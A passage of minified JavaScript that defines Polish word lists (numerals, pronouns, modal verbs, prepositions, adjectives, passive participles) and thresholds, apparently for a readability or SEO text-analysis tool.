ześć","sześcioma","sześciorga","sześciorgiem","sześciorgu","sześcioro","sześciu","szesnaście","szesnastce","szesnastek","szesnastka","szesnastką","szesnastkach","szesnastkami","szesnastkę","szesnastki","szesnastko","szesnastkom","szesnastoma","szesnastu","szóstce","szóstek","szóstka","szóstką","szóstkach","szóstkami","szóstkę","szóstki","szóstko","szóstkom","trójce","troje","trójek","trójka","trójką","trójkach","trójkami","trójki","trójko","trójkom","trzech","trzem","trzema","trzy","trzynaście","trzynastce","trzynastek","trzynastka","trzynastką","trzynastkach","trzynastkami","trzynastkę","trzynastki","trzynastko","trzynastkom","trzynastoma","trzynastu","tysiąc","tysiąca","tysiącach","tysiącami","tysiące","tysiącem","tysiącom","tysiącowi","tysiącu","tysięcy"],r=["czternaści","czternasta","czternastą","czternaste","czternastego","czternastej","czternastemu","czternasty","czternastych","czternastym","czternastymi","czwarci","czwarta","czwartą","czwarte","czwartego","czwartej","czwartemu","czwarty","czwartych","czwartym","czwartymi","drudzy","druga","drugą","drugi","drugich","drugie","drugiego","drugiej","drugiemu","drugim","drugimi","dwudzieści","dwudziesta","dwudziestą","dwudzieste","dwudziestego","dwudziestej","dwudziestemu","dwudziesty","dwudziestych","dwudziestym","dwudziestymi","dwunaści","dwunasta","dwunastą","dwunaste","dwunastego","dwunastej","dwunastemu","dwunasty","dwunastych","dwunastym","dwunastymi","dziesiąci","dziesiąta","dziesiątą","dziesiąte","dziesiątego","dziesiątej","dziesiątemu","dziesiąty","dziesiątych","dziesiątym","dziesiątymi","dziewiąci","dziewiąta","dziewiątą","dziewiąte","dziewiątego","dziewiątej","dziewiątemu","dziewiąty","dziewiątych","dziewiątym","dziewiątymi","dziewiętnaści","dziewiętnasta","dziewiętnastą","dziewiętnaste","dziewiętnastego","dziewiętnastej","dziewiętnastemu","dziewiętnasty","dziewiętnastych","dziewiętnastym","dziewiętnastymi","jedenaści","jedenasta","jedenastą","jedenaste","jedenastego","jedenastej","jedenastemu","jedenasty","jedenastych","jedenastym","jedenastymi","osiemnaści","osiemnasta","osiemnastą","osiemnaste","osiemnastego","osiemnastej","osiemnastemu","osiemnasty","osiemnastych","osiemnastym","osiemnastymi","ósma","ósmą","ósme","ósmego","ósmej","ósmemu","óśmi","ósmy","ósmych","ósmym","ósmymi","piąci","piąta","piątą","piąte","piątego","piątej","piątemu","piąty","piątych","piątym","piątymi","pierwsi","pierwsza","pierwszą","pierwsze","pierwszego","pierwszej","pierwszemu","pierwszy","pierwszych","pierwszym","pierwszymi","piętnaści","piętnasta","piętnastą","piętnaste","piętnastego","piętnastej","piętnastemu","piętnasty","piętnastych","piętnastym","piętnastymi","siedemnaści","siedemnasta","siedemnastą","siedemnaste","siedemnastego","siedemnastej","siedemnastemu","siedemnasty","siedemnastych","siedemnastym","siedemnastymi","siódma","siódmą","siódme","siódmego","siódmej","siódmemu","siódmi","siódmy","siódmych","siódmym","siódmymi","szesnaści","szesnasta","szesnastą","szesnaste","szesnastego","szesnastej","szesnastemu","szesnasty","szesnastych","szesnastymi","szóści","szósta","szóstą","szóste","szóstego","szóstej","szóstemu","szósty","szóstych","szóstym","szóstymi","trzeci","trzecia","trzecią","trzecich","trzecie","trzeciego","trzeciej","trzeciemu","trzecim","trzecimi","trzynaści","trzynasta","trzynastą","trzynaste","trzynastego","trzynastej","trzynastemu","trzynasty","trzynastych","trzynastym","trzynastymi"],p=["ja","my","on","ona","one","oni","ono","ty","wy"],s=["cię","ciebie","go","ich","ją","je","jego","mnie","nas","nią","nich","nie","niego","was"],t=["jej","niej"],d=["mi","ci","im","jemu","mu","nam","niemu","nim","tobie","wam"],c=["mną","nami","nią","nim","nimi","tobą","wami"],k=["myśmy","wyście","żeście","żeśmy"],u=["doń","nań","zeń"],l=["ich","jego","jej","ma","mą","me","mego","mej","memu","moi","moich","moim","moimi","mój","moja","moją","moje","mojego","mojej","mojemu","mych","mym","mymi","nasi","nasz","nasza","naszą","nasze","naszego","naszej","naszemu","naszych","naszym","naszymi","swa","swą","swe","swego","swej","swemu","swoi","swoich","swoim","swoimi","swój","swoja","swoją","swoje","swojego","swojej","swojemu","swych","swym","swymi","twa","twą","twe","twego","twej","twemu","twoi","twoich","twoim","twoimi","twój","twoja","twoją","twoje","twojego","twojej","twojemu","twych","twym","twymi","wasi","wasz","wasza","waszą","wasze","waszego","waszej","waszemu","waszych","waszym","waszymi"],m=["się"],b=["siebie","sobą"],g=["czyi","czyich","czyim","czyimi","czyj","czyja","czyją","czyje","czyjego","czyjej","czyjemu","kim","kogo","komu","kto"],j=["czy","czyś","czyśbyś","dlaczego","dokąd","dokądże","dokądżeś","gdzie","gdzież","gdzieżeś","ile","ileż","jak","jakbyś","jakże","jakżebyś","jakżeś","kiedy","którędy","którędyż","skąd","skądże","skądżeś"],h=["co","czego","czemu","czym","jacy","jaka","jaką","jaki","jakich","jakie","jakiego","jakiej","jakiemu","jakim","jakimi","która","którą","które","którego","której","któremu","który","których","którym","którymi","którzy"],f=["coś","czegoś","czemuś","czyichkolwiek","czyichś","czyikolwiek","czyimikolwiek","czyimiś","czyimkolwiek","czyimkolwiem","czyimś","czyiś","czyjakolwiek","czyjąkolwiek","czyjaś","czyjąś","czyjegokolwiek","czyjegoś","czyjejkolwiek","czyjejś","czyjekolwiek","czyjemukolwiek","czyjemuś","czyjeś","czyjkolwiek","czymś","dlaczegoś","dokądkolwiek","dokądś","gdziekolwiek","gdzieś","ilekolwiek","ileś","jacykolwiek","jacyś","jakakolwiek","jakąkolwiek","jakaś","jakąś","jakichkolwiek","jakichś","jakiegokolwiek","jakiegoś","jakiejkolwiek","jakiejś","jakiekolwiek","jakiemukolwiek","jakiemuś","jakieś","jakikolwiek","jakimikolwiek","jakimkolwiek","jakimś","jakiś","jakkolwiek","jakoś","każda","każdą","każde","każdego","każdej","każdemu","każdy","każdym","kiedykolwiek","kiedyś","kimkolwiek","kimś","kogokolwiek","kogoś","komukolwiek","komuś","ktokolwiek","którakolwiek","którąkolwiek","któraś","którąś","którędykolwiek","którędyś","któregokolwiek","któregoś","którejkolwiek","którejś","którekolwiek","któremukolwiek","któremuś","któreś","którychkolwiek","którychś","którykolwiek","którymikolwiek","którymiś","którymkolwiek","którymś","któryś","którzykolwiek","którzyś","ktoś","nawzajem","nic","niczego","niczemu","niczyi","niczyich","niczyim","niczyimi","niczyj","niczyja","niczyją","niczyjego","niczyjej","niczyjemu","niczym","nikim","nikogo","nikogokolwiek","nikomu","nikt","skądkolwiek","skądś","wszyscy","wszyskiego","wszystkich","wszystkie","wszystkiemu","wszystkim","wszystkimi","wszystko","żaden","żadna","żadną","żadne","żadnego","żadnej","żadnemu","żadni","żadnych","żadnym","żadnymi"],x=["ci","dlatego","ów","owa","ową","owe","owego","owej","owemu","owi","owo","owych","owym","stąd","stamtąd","ta","tacy","tak","taka","taką","taki","takich","takie","takiego","takiej","takiemu","takim","takimi","tam","tamci","tamta","tamtą","tamte","tamtego","tamtej","tamtemu","tamten","tamto","tamtych","tamtym","tamtymi","tą","te","tę","tędy","tego","tegoż","tej","temu","ten","to","tu","tutaj","tych","tyle","tyloma","tylu","tym","tymi","wtedy"],P=["ciut","część","części","częścią","częściach","częściami","częściom","dość","dosyć","dużo","kilka","kilkadziesiąt","kilkanaście","kilkaset","kilknasty","kilkoma","kilku","kilkudziesiąte","kilkudziesiątego","kilkudziesiątej","kilkudziesiąty","kilkudziesiątych","kilkudziesiątym","kilkudziesiątymi","kilkudziesięcioma","kilkudziesięciu","kilkunasta","kilkunastą","kilkunaste","kilkunastego","kilkunastej","kilkunastemu","kilkunastoma","kilkunastu","kilkunastym","kilkuset","kilkustoma","kiludziesiąta","mało","malutko","mniej","mnóstwa","mnóstwem","mnóstwie","mnóstwo","mnóstwu","multum","nadto","najmniej","najwięcej","nieco","niedużo","niejednokroć","niektóre","niektórzy","niektórych","niektórym","niektórymi","niemało","niewiele","niewieloma","niewielu","oba","obaj","obie","oboje","obojga","obojgiem","obojgu","obóm","oboma","obu","obydwa","obydwaj","obydwie","obydwiema","obydwóch","obydwoje","obydwojgiem","obydwojgu","obydwóm","obydwoma","obydwu","odrobiną","odrobince","odrobinę","odrobinie","odrobinką","odrobinkę","odrobinki","odrobiny","parę","parędziesiąt","parędziesięcioma","parędziesięciu","paręnaście","paręnastoma","paręnastu","parokroć","paroma","paru","parze","pełno","pół","półczwarta","połowa","połową","połowie","połowy","półtora","półtorej","sporo","trochę","trochu","troszeczkę","troszkę","wcale","więcej","większość","większości","większością","większościach","większościami","większościom","wiele","wielokrotnie","wieloma","wielu"],S=["czasem","często","nigdy","rzadko","zawsze"],Z=["chcą","chcąc","chcąca","chcące","chcący","chce","chcę","chcecie","chcemy","chcesz","chciał","chciała","chciałaby","chciałabym","chciałabyś","chciałam","chciałaś","chciałby","chciałbym","chciałbyś","chciałem","chciałeś","chciały","chciałyby","chciałybyście","chciałybyśmy","chciałyście","chciałyśmy","chcieli","chcieliby","chcielibyście","chcieliście","chcieliśmy","chcono","ma","macie","mają","mając","mam","mamy","masz","miał","miała","miałaby","miałabym","miałabyś","miałam","miałaś","miałby","miałbym","miałbyś","miałem","miałeś","miało","miałoby","miały","miałyby","miałybyście","miałybyśmy","miałyście","miałyśmy","miano","miej","miejąca","miejące","miejący","miejcie","miejmy","mieli","mieliby","mielibyście","mielibyśmy","mieliście","mieliśmy","mogą","mogąc","mogąca","mogące","mogący","mogę","mógł","mogła","mogłaby","mogłabym","mogłabyś","mogłam","mogłaś","mógłby","mógłbym","mógłbyś","mogłem","mogłeś","mogli","mogliby","moglibyście","moglibyśmy","mogliście","mogliśmy","mogły","mogłyby","mogłybyście","mogłybyśmy","mogłyście","mogłyśmy","może","możecie","możemy","możesz","można","możnaby","musi","musiał","musiała","musiałaby","musiałabym","musiałabyś","musiałam","musiałaś","musiałby","musiałbym","musiałbyś","musiałem","musiałeś","musiało","musiałoby","musiały","musiałyby","musiałybyście","musiałybyśmy","musiałyście","musiałyśmy","musiano","musicie","musieli","musieliby","musielibyście","musielibyśmy","musieliście","musieliśmy","musimy","musisz","muszą","musząc","musząca","muszące","muszący","muszę","należy","niech","potrafi","potrafią","potrafiąc","potrafiąca","potrafiące","potrafiący","potraficie","potrafię","potrafiłaby","potrafiłabym","potrafiłabyś","potrafiłam","potrafiłaś","potrafiłbym","potrafiłbyś","potrafiłem","potrafiłeś","potrafili","potrafiliby","potrafilibyście","potrafilibyśmy","potrafiliście","potrafiliśmy","potrafiło","potrafiłoby","potrafiłyby","potrafiłybyście","potrafiłybyśmy","potrafiłyście","potrafiłyśmy","potrafimy","potrafiono","potrafisz","powinien","powinienem","powinieneś","powinna","powinnam","powinnaś","powinne","powinni","powinniście","powinniśmy","powinnyście","powinnyśmy","pozostaje","stają","stając","stająca","stające","stający","staje","staję","stajecie","stajemy","stajesz","stał","stała","stałaby","stałabym","stałabyś","stałam","stałaś","stałby","stałbym","stałbyś","stałem","stałeś","stali","staliby","stalibyście","stalibyśmy","staliście","staliśmy","stało","stały","stałyby","stałybyście","stałybyśmy","stałyście","stałyśmy","stanie","stano","stawać","stawając","stawająca","stawające","stawający","stawał","stawała","stawałaby","stawałabym","stawałabyś","stawałabyście","stawałam","stawałaś","stawałby","stawałbym","stawałbyś","stawałem","stawałeś","stawali","stawaliby","stawalibyście","stawalibyśmy","stawaliście","stawaliśmy","stawały","stawałyby","stawałybyśmy","stawałyście","stawałyśmy","stawano","stawawszy","stawszy","trzeba","warto","wystarczy"],v=["być","zostać"],T=["chcieć","mieć","móc","musieć","potrafić","stać"],C=["bez","beze","blisko","daleko","dla","do","dole","dookoła","górze","jako","koło","ku","między","mimo","na","nad","nade","naokoło","naprzeciwko","niedaleko","nieopodal","niż","o","obok","od","ode","około","oprócz","po","pod","podczas","pode","pomiędzy","ponad","poniżej","poprzek","poprzez","pośród","powyżej","poza","przeciw","przeciwko","przed","przede","przez","przeze","przy","spodem","spośród","spoza","u","w","wbrew","we","wedle","wewnątrz","wpół","wraz","wśród","wzdłuż","z","za","ze","zza"],O=["bliska","daleka","przodu","tyłu"],W=["albo","ani","bądź","i","lub","oraz","tylko"],U=["aż","by","czy","gdyby","jak","jeśli","jeżeli","że"],R=["ano","ciągu","coraz","dzięki","chyba","jakby","jednocześnie","jeszcze","już","nadal","nagle","znowu","prawdopodobnie","niestety","dziś","dzisiaj","oczywiście","względem","m.in.","właśnie","zaraz"],M=["bierz","bierzcie","bierzecie","bierzemy","bierzesz","bierzmy","biorą","biorąc","biorąca","biorące","biorący","biorę","brał","brała","brałaby","brałabym","brałabyś","brałam","brałaś","brałby","brałbym","brałbyś","brałem","brałeś","brali","braliby","bralibyście","bralibyśmy","braliście","braliśmy","brało","brałoby","brały","brałyby","brałybyście","brałybyśmy","brałyście","brałyśmy","brany","da","dacie","dadzą","daj","dają","dając","dająca","dające","dający","dajcie","daje","daję","dajecie","dajemy","dajesz","dajmy","dał","dała","dałaby","dałabym","dałabyś","dałam","dałaś","dałby","dałbym","dałbyś","dałem","dałeś","dali","daliby","dalibyście","dalibyśmy","daliście","daliśmy","dało","dałoby","dały","dałyby","dałybyście","dałybyśmy","dałyście","dałyśmy","dam","damy","dana","dano","dany","dasz","dawaj","dawajcie","dawajmy","dawał","dawała","dawałaby","dawałabym","dawałabyś","dawałam","dawałaś","dawałby","dawałbym","dawałbyś","dawałem","dawałeś","dawali","dawaliby","dawalibyście","dawalibyśmy","dawaliście","dawaliśmy","dawało","dawały","dawałyby","dawałybyście","dawałybyśmy","dawałyście","dawałyśmy","dawana","dawane","dawano","dawany","idą","idąc","idąca","idące","idący","idę","idź","idźcie","idzie","idziecie","idziemy","idziesz","idźmy","rób","róbcie","robi","robią","robiąc","robiąca","robiące","robiący","robicie","robię","robił","robiła","robiłaby","robiłabym","robiłabyś","robiłam","robiłaś","robiłby","robiłbym","robiłbyś","robiłem","robiłeś","robili","robilibiście","robiliby","robilibyśmy","robiliście","robiliśmy","robiło","robiły","robiłyby","robiłybyście","robiłybyśmy","robiłyście","robiłyśmy","robimy","robiono","robiony","robisz","róbmy","stanowi","stanowią","stanowiły","stanowili","stoi","stoicie","stoimy","stoisz","stój","stoją","stojąc","stojąca","stojące","stojący","stójcie","stoję","stójmy","świadczy","szedł","szedłby","szedłbym","szedłbyś","szedłem","szedłeś","szła","szłaby","szłabym","szłabyś","szłam","szłaś","szli","szliby","szlibyście","szlibyśmy","szliście","szliśmy","szło","szłoby","szły","szłyby","szłybyście","szłybyśmy","szłyście","uprawia","uprawiacie","uprawiają","uprawiając","uprawiająca","uprawiające","uprawiający","uprawiał","uprawiała","uprawiałaby","uprawiałabym","uprawiałabyś","uprawiałam","uprawiałaś","uprawiałby","uprawiałbym","uprawiałbyś","uprawiałem","uprawiałeś","uprawiali","uprawialiby","uprawialibyście","uprawialibyśmy","uprawialiście","uprawialiśmy","uprawiało","uprawiałoby","uprawiały","uprawiałyby","uprawiałybyście","uprawiałybyśmy","uprawiałyście","uprawiałyśmy","uprawiam","uprawiamy","uprawiana","uprawiane","uprawiano","uprawiany","uprawiasz","weź","weźcie","wezmą","wezmę","weźmie","weźmiecie","weźmiemy","weźmiesz","weźmy","wykonuj","wykonują","wykonując","wykonująca","wykonujące","wykonujący","wykonujcie","wykonuje","wykonuję","wykonujecie","wykonujemy","wykonujesz","wykonujmy","wykonywał","wykonywała","wykonywałaby","wykonywałabym","wykonywałabyś","wykonywałam","wykonywałaś","wykonywałby","wykonywałbym","wykonywałbyś","wykonywałem","wykonywałeś","wykonywali","wykonywaliby","wykonywalibyście","wykonywalibyśmy","wykonywaliście","wykonywaliśmy","wykonywało","wykonywałoby","wykonywały","wykonywałyby","wykonywałybyście","wykonywałybyśmy","wykonywałyście","wykonywałyśmy","wykonywana","wykonywane","wykonywany","wziął","wziąłby","wziąłbym","wziąłbyś","wziąłem","wziąłeś","wziąwszy","wzięła","wzięłaby","wzięłabym","wzięłabyś","wzięłam","wzięłaś","wzięli","wzięliby","wzięlibyście","wzięlibyśmy","wzięliście","wzięliśmy","wzięło","wzięłoby","wzięły","wzięłyby","wzięłybyście","wzięłybyśmy","wzięłyście","wzięłyśmy","zrób","zróbcie","zrobi","zrobią","zrobiąc","zrobiąca","zrobiące","zrobiący","zrobicie","zrobię","zrobił","zrobiła","zrobiłaby","zrobiłabym","zrobiłabyś","zrobiłam","zrobiłaś","zrobiłby","zrobiłbym","zrobiłbyś","zrobiłem","zrobiłeś","zrobili","zrobilibiście","zrobiliby","zrobilibyśmy","zrobiliście","zrobiliśmy","zrobiło","zrobiły","zrobiłyby","zrobiłybyście","zrobiłybyśmy","zrobiłyście","zrobiłyśmy","zrobimy","zrobiono","zrobiony","zrobisz","zróbmy","powinno","bywa","wiedzieć","znać","wiedział","wiedziała","wiedziały","wiedzieli","znał","znała","znali","znały","powie","wie","zna","zobaczy","powiedzą","powiedziano","powiem","wiedzą","wiedzące","wiedzący","wiedziało","wiedziano","wiem","znają","znające","znający","znało","znam","znane","znano","zobaczą","zobaczę","zobaczone","zobaczono","powiecie","powiedz","powiedzcie","powiedzenie","powiedział","powiedziała","powiedziałaby","powiedziałabym","powiedziałabyś","powiedziałam","powiedziałaś","powiedziałby","powiedziałbym","powiedziałbyś","powiedziałem","powiedziałeś","powiedziało","powiedziałoby","powiedziały","powiedziałyby","powiedziałybyście","powiedziałybyśmy","powiedziałyście","powiedziałyśmy","powiedziawszy","powiedzieć","powiedzieli","powiedzieliby","powiedzielibyście","powiedzielibyśmy","powiedzieliście","powiedzieliśmy","powiedzmy","powiemy","powiesz","wiecie","wiedz","wiedząc","wiedząca","wiedzcie","wiedziałaby","wiedziałabym","wiedziałabyś","wiedziałam","wiedziałaś","wiedziałby","wiedziałbym","wiedziałbyś","wiedziałem","wiedziałeś","wiedziałoby","wiedziałyby","wiedziałybyście","wiedziałybyśmy","wiedziałyście","wiedziałyśmy","wiedzieliby","wiedzielibyście","wiedzielibyśmy","wiedzieliście","wiedzieliśmy","wiedzmy","wiemy","wiesz","znacie","znaj","znając","znająca","znajcie","znajmy","znałaby","znałabym","znałabyś","znałam","znałaś","znałby","znałbym","znałbyś","znałem","znałeś","znaliby","znalibyście","znalibyśmy","znaliście","znaliśmy","znałoby","znałyby","znałybyście","znałybyśmy","znałyście","znałyśmy","znamy","znana","znani","znanie","znany","znasz","zobacz","zobaczcie","zobaczeni","zobaczenie","zobaczmy","zobaczona","zobaczony","zobaczyć","zobaczycie","zobaczył","zobaczyła","zobaczyłaby","zobaczyłabym","zobaczyłabyś","zobaczyłam","zobaczyłaś","zobaczyłby","zobaczyłbym","zobaczyłbyś","zobaczyłem","zobaczyłeś","zobaczyli","zobaczyliby","zobaczylibyście","zobaczylibyśmy","zobaczyliście","zobaczyliśmy","zobaczyło","zobaczyłoby","zobaczyły","zobaczyłyby","zobaczyłybyście","zobaczyłybyśmy","zobaczyłyście","zobaczyłyśmy","zobaczymy","zobaczysz","zobaczywszy"],A=["brać","dać","dawać","iść","robić","stanowić","uprawiać","wykonywać","wziąć","zrobić"],E=["informowali","informowały","informują","informuje","informuję","mówi","mówią","mówię","mówił","mówiła","mówili","mówiły","odpowiada","odpowiadają","odpowiadam","odpowiedział","odpowiedziała","odpowiedziałam","odpowiedziały","odpowiedzieli","odwiedziałam","poinformowałam","poinformowali","poinformowały","powiedział","powiedziała","powiedziałam","powiedziały","powiedzieli","pyta","pytać","pytał","pytała","pytałam","pytali","pytały","pytam","sądzą","sądzę","sądzi","sądzić","sądziłam","sądzili","sądziły","spytał","spytała","spytałam","spytali","spytały","stwierdziały","stwierdzieli","stwierdził","stwierdziła","stwierdziłam","twierdzą","twierdzę","twierdzi","twierdziały","twierdzić","twierdzieli","twierdził","twierdziła","twierdziłam","uważa","uważają","uważał","uważała","uważali","uważały","uważam","wyjaśnia","wyjaśniać","wyjaśniają","wyjaśniam","wyjaśnił","wyjaśniła","wyjaśnili","wyjaśniły","zapytał","zapytała","zapytałam","zapytali","zapytały","zaznacza","zaznaczają","zaznaczam","zaznaczył","zaznaczyła","zaznaczyłam","zaznaczyli","zaznaczyły"],D=["bardziej","bardzo","całkiem","całkowicie","doskonale","dość","dosyć","kompletnie","najbardziej","naprawdę","nawet","nieco","niezbyt","niezmiernie","niezwykle","ogromnie","strasznie","świetnie","wielce","wyjątkowo","zbyt","znacznie","zupełnie"],L=["cała","całą","całe","całego","całej","całemu","cali","cały","całych","całym","całymi","ciekawa","ciekawą","ciekawe","ciekawego","ciekawej","ciekawemu","ciekawi","ciekawy","ciekawych","ciekawym","ciekawymi","dłudzy","długa","długą","długi","długich","długie","długiego","długiej","długiemu","długim","długimi","dłużsi","dłuższa","dłuższą","dłuższe","dłuższego","dłuższej","dłuższemu","dłuższy","dłuższych","dłuższym","dłuższymi","dobra","dobrą","dobre","dobrego","dobrej","dobremu","dobry","dobrych","dobrym","dobrymi","dobrzy","fajna","fajną","fajne","fajnego","fajnej","fajnemu","fajni","fajny","fajnych","fajnym","fajnymi","główna","główną","główne","głównego","głównej","głównemu","główni","główny","głównych","głównym","głównymi","inna","inną","inne","innego","innej","innemu","inni","inny","innych","innym","innymi","krótcy","krótka","krótką","krótki","krótkich","krótkie","krótkiego","krótkiej","krótkiemu","krótkim","krótkimi","krótsi","krótsza","krótszą","krótsze","krótszego","krótszej","krótszemu","krótszych","krótszym","krótszymi","łatwe","łatwego","łatwiejsze","łatwym","lepsi","lepsza","lepszą","lepsze","lepszego","lepszej","lepszemu","lepszy","lepszych","lepszym","lepszymi","mała","małą","małe","małego","małej","małemu","mali","mały","małych","małym","małymi","mniejsi","mniejsza","mniejszą","mniejsze","mniejszego","mniejszej","mniejszemu","mniejszy","mniejszych","mniejszym","mniejszymi","najdłużsi","najdłuższa","najdłuższą","najdłuższe","najdłuższego","najdłuższej","najdłuższemu","najdłuższy","najdłuższych","najdłuższym","najdłuższymi","najkrótsi","najkrótsza","najkrótszą","najkrótsze","najkrótszego","najkrótszej","najkrótszemu","najkrótszych","najkrótszym","najkrótszymi","najłatwiejsze","najlepsi","najlepsza","najlepszą","najlepsze","najlepszego","najlepszej","najlepszemu","najlepszych","najlepszym","najlepszymi","najmniejsi","najmniejsza","najmniejszą","najmniejsze","najmniejszego","najmniejszej","najmniejszemu","najmniejszy","najmniejszych","najmniejszym","najmniejszymi","najniżsi","najniższa","najniższą","najniższe","najniższego","najniższej","najniższemu","najniższy","najniższych","najniższym","najniższymi","najtrudniejsze","najwięksi","największa","największą","największe","największego","największej","największemu","największych","największym","największymi","najwyżsi","najwyższa","najwyższą","najwyższe","najwyższego","najwyższej","najwyższemu","najwyższy","najwyższych","najwyższym","najwyższymi","następna","następną","następne","następnego","następnej","następni","następny","następnych","następnym","następnymi","niewłaściwa","niewłaściwą","niewłaściwe","niewłaściwego","niewłaściwej","niewłaściwemu","niewłaściwi","niewłaściwy","niewłaściwych","niewłaściwym","niewłaściwymi","niscy","niska","niską","niski","niskich","niskie","niskiego","niskiej","niskiemu","niskim","niskimi","niżsi","niższa","niższą","niższe","niższego","niższej","niższemu","niższy","niższych","niższym","niższymi","ostatni","ostatnia","ostatnią","ostatnich","ostatnie","ostatniego","ostatniej","ostatniemu","ostatnim","ostatnimi","poprzedni","poprzednia","poprzednią","poprzednich","poprzednie","poprzedniego","poprzedniej","poprzedniemu","poprzednim","poprzednimi","sam","sama","samą","same","samego","samej","samemu","sami","samo","samych","samym","samymi","trudne","trudnego","trudniejsze","trudnym","więksi","większa","większą","większe","większego","większej","większemu","większych","większym","większymi","wielcy","wielka","wielką","wielki","wielkich","wielkie","wielkiego","wielkiej","wielkiemu","wielkim","wielkimi","właściwa","właściwą","właściwe","właściwego","właściwej","właściwemu","właściwi","właściwy","właściwych","właściwym","właściwymi","wysocy","wysoka","wysoką","wysoki","wysokich","wysokie","wysokiego","wysokiej","wysokiemu","wysokim","wysokimi","wyżsi","wyższa","wyższą","wyższe","wyższego","wyższej","wyższemu","wyższy","wyższych","wyższym","wyższymi","kolejne","różne","złe","kolejnych","różnych","złych","kolejnego","kolejnej","kolejny","kolejnym","różnego","różnej","różny","różnym","złego","złej","zły","złym","kolejna","kolejną","kolejnemu","kolejni","kolejnymi","różna","różną","różnemu","różni","różnymi","zła","złą","złemu","źli","złymi"],F=["blisko","bliżej","ciągle","ciężko","czasami","czasem","częściej","często","dalej","daleko","dawniej","dawno","dobrze","dopiero","fajnie","fajniej","gorzej","inaczej","ładnie","łatwiej","łatwo","lepiej","najbliżej","najczęściej","najdalej","najdawniej","najfajniej","najgorzej","najłatwiej","najlepiej","najniżej","najpóźniej","najprościej","najszybciej","najtrudniej","najwcześniej","najwyżej","naprawdę","niedaleko","niedawno","nisko","niżej","ostatnio","pewno","póżniej","późno","prawie","prościej","prosto","prostu","szybciej","szybko","trochę","trudniej","trudno","wcześnie","wcześniej","wolno","wszędzie","wysoko","wyżej","zazwyczaj","źle","jedynie","obecnie","teraz","szczególnie","zwykle"],_=["dni","dnia","dniach","dniami","dnie","dzień","dzisiaj","godzin","godzina","godzinach","godzinami","godzinę","godziny","jutro","lata","latach","latami","miesiąc","miesiąca","miesiącach","miesiącami","miesiące","miesiącem","miesiącu","miesięcy","minut","minuta","minutach","minutę","minuty","pojutrze","przedwczoraj","rok","rokiem","roku","sekund","sekunda","sekundach","sekundę","sekundy","tydzień","tygodni","tygodnia","tygodniach","tygodniami","tygodnie","tygodniu","wczoraj"],B=["chwila","chwilą","chwilach","chwilami","chwile","chwilę","chwili","chwilom","część","części","częścią","częściach","częściami","częściom","momencie","moment","ogóle","osób","osoba","osobą","osobach","osobami","osobę","osobie","osobom","osoby","powód","powodach","powodami","powodem","powodom","powodów","powodowi","powodu","powody","powodzie","przypadkiem","przypadku","raz","razach","razami","razem","razie","razom","razów","razowi","razu","razy","rodzaj","rodzajach","rodzajami","rodzajem","rodzajom","rodzajów","rodzajowi","rodzaju","rzecz","rzeczą","rzeczach","rzeczami","rzeczom","rzeczy","sposób","sposobem","sprawa","sprawą","sprawach","sprawami","sprawę","sprawie","sprawom","sprawy","temacie","temat","tematach","tematami","tematem","tematom","tematów","tematowi","tematu","tematy"],q=["dr","dyr","mgr","p","pan","pani","panie","panowie","prof","hab"],G=["a","ach","aha","aj","akurat","ał","aua","auć","ba","brawo","e","ech","ehe","ehm","ej","ejże","ekhm","ekstra","jej","jejku","łał","och","oh","oho","oj","ojej","ojejku","phi","precz","super","uwaga","wow"],H=["°C","°F","ar","ary","arów","arach","c","cl","cm","cm²","cm³","dag","deka","dl","f","ft","g","gram","gramów","gramy","ha","hektar","hektary","hektarów","hektarach","in","kg","kilo","km","km²","cm³","l","litr","litrów","litry","łyżeczka","łyżeczkę","łyżeczki","łyżka","łyżkę","łyżki","m","m²","m³","mg","ml","mm","mm²","mm³","szczypta","szczyptę","szczypty","szklanka","szklankę","szklanki","tuzin"],I=["nie","no","oto","tak","sobie","ok","okej","itp","itd","tzw"],J=(w([].concat(r,L,F,A,T,v)),w([].concat(C,W,x,P,D,l,m,b)),w([].concat(z,R,y,p,s,t,d,c,k,u,g,j,h,f,S,O,U,M,E,_,B,q,G,H,I,Z)),w([].concat(C,k,l,y,r,M,A,E,h,g,j))),K=w([].concat(Z,T,m)),N=w([].concat(z,R,y,p,s,t,d,c,k,u,g,j,h,f,S,Z,O,U,M,E,_,B,q,G,H,I,["bądź","bądźcie","bądźmy","będą","będąc","będę","będzie","będziecie","będziemy","będziesz","by","był","była","byłaby","byłabym","byłabyś","byłam","byłaś","byłby","byłbym","byłbyś","byłem","byłeś","byli","byliby","bylibyście","bylibyśmy","byliście","byliśmy","było","byłoby","były","byłyby","byłybyście","byłybyśmy","byłyście","byłyśmy","bym","byś","byście","byśmy","byto","bywało","jest","jestem","jesteś","jesteście","jesteśmy","są","zostają","zostając","zostająca","zostające","zostający","zostaje","zostaję","zostajecie","zostajemy","zostajesz","został","została","zostałaby","zostałabym","zostałabyś","zostałam","zostałaś","zostałby","zostałbym","zostałbyś","zostałem","zostałeś","zostali","zostaliby","zostalibyście","zostalibyśmy","zostaliście","zostaliśmy","zostało","zostaloby","zostały","zostałyby","zostałybyście","zostałybyśmy","zostałyście","zostałyśmy","zostań","zostaną","zostańcie","zostanę","zostanie","zostaniecie","zostaniemy","zostaniesz","zostańmy","zostawało","zostawano","zostawszy"],C,W,x,P,D,l,m,b,r,L,F,A,T,v)),Q=["a","aby","albo","albowiem","ale","bo","bowiem","czy","gdy","gdyby","gdyż","iż","jeśli","jeżeli","lub","ponieważ","zanim","żeby","który","która","które","którzy","którego","której","których","któremu","którym","którą","którymi","że"],V=[["albo","albo"],["ani","ani"],["czy","czy"],["im","tym"],["tak","jak"]],X={percentages:{slightlyTooMany:15,farTooMany:20},cornerstonePercentages:{slightlyTooMany:15,farTooMany:20}},Y=window.lodash,$=["abdykowany","absorbowany","adaptowany","administrowany","adoptowany","adorowany","adresowany","afiszowany","agitowany","akcentowany","akceptowany","aklimatyzowany","akompaniowany","aktualizowany","aktywowany","akumulowany","alaromowany","alienowany","amerykanizowany","amortyzowany","amputowany","analizowany","angażowany","anihilowany","animowany","anonsowany","antropomorfizowany","antydatowany","anulowany","apelowany","aportowany","aranżowany","archiwizowany","aresztowany","argumentowany","artykułowany","ascendowany","asekurowany","asymilowany","asystowany","atakowany","autoryzowany","awanturowany","babrany","baczony","badany","bagatelizowany","bajerowany","bałamucony","balangowany","balansowany","banalizowany","bandażowany","bankrutowany","baraszkowany","barwiony","bawiony","bazgrany","bazowany","bębniony","bełkotany","besztany","biadolony","biczowany","bity","błagany","błaznowany","blefowany","błogosławiony","blokowany","bluzgany","błyskany","błyszczący","boczony","bogacony","bojkotowany","boksowany","bombardowany","bopowany","borowany","brandzlowany","brany","brasowany","bratany","bredzony","brnięty","brodz